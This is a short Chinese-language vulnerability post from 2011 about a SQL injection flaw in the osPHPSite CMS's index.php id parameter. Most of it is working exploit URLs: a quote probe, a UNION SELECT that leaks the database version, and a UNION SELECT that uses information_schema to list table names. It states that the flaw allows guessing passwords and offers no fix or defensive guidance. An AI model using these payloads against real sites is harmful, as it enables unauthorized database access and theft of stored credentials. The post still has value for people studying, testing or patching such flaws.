osPHPSite SQL注入漏洞

发布日期：2011-04.20
发布作者：佚名

漏洞类型：SQL注入

漏洞描述： osPHPSite程序过滤不严格导致SQL注入猜解密码漏洞。

漏洞测试EXP:

~ http://url/index.php?id=24'
~ http://url/index.php?id=-24 UNION SELECT 1,@@VERSION,3,4,5,6,7,8--
~ http://url/index.php?id=-24 UNION SELECT 1,group_concat(table_name),3,4,5,6,7,8 +from+information_schema.tables+where+table_schema =database()--
~ And More.....

 

标签分类：